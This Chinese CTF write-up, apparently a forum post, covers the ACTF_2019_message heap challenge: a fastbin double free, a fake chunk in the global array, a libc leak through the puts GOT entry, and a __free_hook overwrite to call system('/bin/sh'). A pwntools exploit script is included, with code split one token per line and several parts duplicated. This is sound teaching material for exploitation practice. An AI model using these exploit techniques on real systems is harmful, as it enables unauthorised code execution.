所以,利用点只有delete函数里的free。我们可以在全局变量message那里伪造chunk。查看一下message数组
由于RELRO是FULL RELRO,此时got表不可写。
libc中有一些hook函数,比如__mallochook、\_free_hook函数:
__free_hook的参数和free的参数一样,是chunk本身,所以我们可以先输入/bin/sh,然后把__free_hook替换为system函数
b. double free,为了方便,我们在message的第1个元素附近伪造chunk,message[0]存长度,地址是0x602060;message[1]存第一个chunk的指针,地址是0x602068。那么伪造chunk的结构如下:
这个size是我们创建chunk的时候输入的,即脚本调用add函数时,我们没有其他地方可以去操作它,如果我们按照之前的方法:1⃣️malloc 3个0x20大小的chunk0,1,2 --> 2⃣️free 0,1,0 --> 3⃣️malloc 0 ,1 --> 4⃣️伪造chunk --> 5⃣️malloc 0 --> 6⃣️malloc fake chunk获取栈上内存。由于malloc的大小是0x20,malloc出来的chunk大小是0x30,在fastbin中chunk 0,1,2,fake都是0x30,当第6⃣️步的时候,在fastbin中fake chunk的大小是0x30,但在栈内存0x602060却是我们创建chunk 0 时输入的0x20,这就会出问题。
因此,我们如此构造double free:让chunk 0 的数据部分大小是0x30,chunk 1,2 的是0x20,然后对chunk 1 double free。
c. 伪造chunk,fake chunk的“prev_size”地址是0x602058。
d. 继续malloc
e. malloc fake chunk,把puts函数got表地址覆写到栈里的message[1],然后调用show函数,打印got表里puts函数的真实地址,然后利用真实地址计算libc基址,进而计算出system函数和free_hook函数的真实地址。
f. 将free_hook的地址写入到某个可编辑的地方,这里把它写到chunk 6,即fake chunk。因为创造的时候add(0x20,p64(elf.got['puts']))
是把我们伪造的chunk (0x602058)给chunk 6,所以malloc返回的指针指向0x602068,即把0x602068给了message[13],那调用edit函数就能把free_hook函数的地址通过read函数给写入到0x602068里。
g. 把system函数的真实地址写到free_hook函数的真实地址里,劫持free_hook函数
h. 创建一个chunk 7,内容为“/bin/sh”,然后free它,检测到free_hook存在,就会调用它,而且“/bin/sh”作为free_hook的参数。然而,此时我们把system的地址写到了free_hook的地址里,那么就相当于调用了system("/bin/sh")。
$
file
ACTF_2019_message
ACTF_2019_message: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped
$ checksec
-
-
file
=
ACTF_2019_message
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No
0
3
ACTF_2019_message
$
file
ACTF_2019_message
ACTF_2019_message: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped
$ checksec
-
-
file
=
ACTF_2019_message
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No
0
3
ACTF_2019_message
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./ACTF_2019_message'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'node3.buuoj.cn'
,
29230
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
_add,_free,_edit,_show
=
1
,
2
,
3
,
4
def
add(size,content
=
'a'
):
sla(
':'
,_add)
sla(
':'
,size)
sa(
':'
,content)
def
free(index):
sla(
':'
,_free)
sla(
':'
,index)
def
edit(index,content):
sla(
':'
,_edit)
sla(
':'
,index)
sa(
':'
,content)
def
show(index):
sla(
':'
,_show)
sla(
':'
,index)
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./ACTF_2019_message'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'node3.buuoj.cn'
,
29230
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
_add,_free,_edit,_show
=
1
,
2
,
3
,
4
def
add(size,content
=
'a'
):
sla(
':'
,_add)
sla(
':'
,size)
sa(
':'
,content)
def
free(index):
sla(
':'
,_free)
sla(
':'
,index)
def
edit(index,content):
sla(
':'
,_edit)
sla(
':'
,index)
sa(
':'
,content)
def
show(index):
sla(
':'
,_show)
sla(
':'
,index)
p.interactive()
0x602058
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
prev size
0x602060
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
size
0x602068
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
fake chunk
user data
0x602070
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
...
0x602058
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
prev size
0x602060
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
size
0x602068
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
fake chunk
user data
0x602070
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
...
add(
0x30
)
add(
0x20
)
add(
0x20
)
free(
1
)
free(
2
)
free(
1
)
add(
0x30
)
add(
0x20
)
add(
0x20
)
free(
1
)
free(
2
)
free(
1
)
fake
=
0x602060
-
0x8
add(
0x20
,p64(fake))
fake
=
0x602060
-
0x8
add(
0x20
,p64(fake))
add(
0x20
)
add(
0x20
)
add(
0x20
,p64(elf.got[
'puts'
]))
show(
0
)
ru(
': '
)
puts
=
uu64(r(
6
))
print
(
'puts address:'
+
hex
(puts))
libc
=
LibcSearcher(
'puts'
, puts)
base
=
puts
-
libc.dump(
'puts'
)
system
=
base
+
libc.dump(
'system'
)
free_hook
=
base
+
libc.dump(
'__free_hook'
)
add(
0x20
,p64(elf.got[
'puts'
]))
show(
0
)
ru(
': '
)
puts
=
uu64(r(
6
))
print
(
'puts address:'
+
hex
(puts))
libc
=
LibcSearcher(
'puts'
, puts)
base
=
puts
-
libc.dump(
'puts'
)
system
=
base
+
libc.dump(
'system'
)
free_hook
=
base
+
libc.dump(
'__free_hook'
)
edit(
6
,p64(free_hook))
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-11-30 22:25
被ztree编辑
,原因: 添加附件